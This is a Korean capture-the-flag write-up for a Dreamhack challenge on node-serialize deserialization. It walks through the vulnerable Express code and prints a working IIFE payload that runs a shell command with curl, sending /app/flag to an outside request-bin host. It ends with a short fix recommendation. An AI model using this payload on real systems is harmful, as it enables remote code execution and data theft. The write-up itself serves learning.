https://dreamhack.io/wargame/challenges/685
직렬화 / 역직렬화에서 발생하는 취약점에 대한 문제다.
특별할 것 없는 인덱스 페이지다.
const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser())
app.get('/', (req, res) => {
if (req.cookies.profile) {
let str = new Buffer.from(req.cookies.profile, 'base64').toString();
// Special Filter For You :)
let obj = serialize.unserialize(str);
if (obj) {
res.send("Set Cookie Success!");
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", {
maxAge: 900000,
httpOnly: true
});
res.redirect('/');
}
});
app.listen(5000);
전체 코드다.
let str = new Buffer.from(req.cookies.profile, 'base64').toString();
여기서 profile 쿠키 값을 base64로 디코딩 작업을 거치고 문자열로 변환한다는 것을 알 수 있다.
let obj = serialize.unserialize(str);
이후 unserialize를 하는데 여기서 취약점이 발생한다.
https://wrkholic84.github.io/assets/images/posts/20180514NodeJSRCE/NodeJSRCE.pdf
IIFE(Immediately Invoked Function Expressions)를 사용하여 함수를 직렬화를 하게되면 서버에서 deserialize할 때 해당 해당 함수를 실행하게 된다. 이를 통해 RCE를 할 수 있다.
var y = {
rce: function () {
require('child_process').exec('curl -X POST -H \"Content-Type: text/plain\" -d \"$(cat /app/flag)\" https://vdtuhia.request.dreamhack.games', function (error, stdout, stderr) { console.log(stdout) });
}
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
해당 코드를 통해 직렬화한 값을 구할 수 있다.
코드 분석을 해보면, `require('child_process')` 를 통해 `child_process` 모듈을 불러온다. `require('child_process').exec()`를 통해 `exec` 메서드를 실행시킬 수 있다.
내부 명령어에 대해 해석해보자. `curl` 명령어를 통해 서버에 존재하는 flag 파일을 보내보자. `-X POST` 옵션을 통해 POST 메소드로 request를 보낼 수 있다. `-H` 옵션을 통해 헤더를 지정해줄 수 있다. 필자는 `text/plain`을 지정해줬지만 안해줘도 flag는 잘 나온다.
`-d` 옵션을 통해 post 요청 바디에 포함시킬 값을 지정해줄 수 있다. `$()`을 통해 명령어 치환을 해주는 모습이다. 여기에는 `/app/flag` 파일의 내용이 들어갈 것이다.
해당 코드 끝에 `()`를 붙여 IIFE로 만들어주자.
{"rce":"_$$ND_FUNC$$_function () {\r\n require('child_process').exec('curl -X POST _H \\\"Content-Type: text/plain\\\" -d \\\"$(cat /app/flag)\\\" https://brxzekf.request.dreamhack.games', function (error, stdout, stderr) { console.log(stdout) });\r\n }()"}
드림핵 리퀘스트 빈 키 세션이 만료되서 다시 새로운 url로 교체했다. 이 부분 참고해서 확인바란다.
위 코드를 base64로 인코딩하여 profile의 cookie에 넣어주면 rce가 될 것이다.
짜잔
CVE-2017-5941
CVE-2017-5954
에 대해서 찾아보면 도움이 될 수 있을것 같다.
해결 방법
앞서 언급한 참고 사이트에서는 해당 모듈을 사용한 serialize / unserialize의 사용을 지양하라고 권고하고 있다. 다른 방식으로 직렬화 / 역직렬화를 사용해보자.
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] what-is-my-ip 풀이 (0) | 2024.03.31 |
---|---|
[드림핵] CProxy: Inject 풀이 (0) | 2024.03.28 |
[드림핵] filestorage 풀이 (0) | 2024.03.03 |
[드림핵][wargame.kr] crack crack crack it 풀이 (0) | 2024.03.02 |
[드림핵][wargame.kr] dmbs335 풀이 (0) | 2024.02.25 |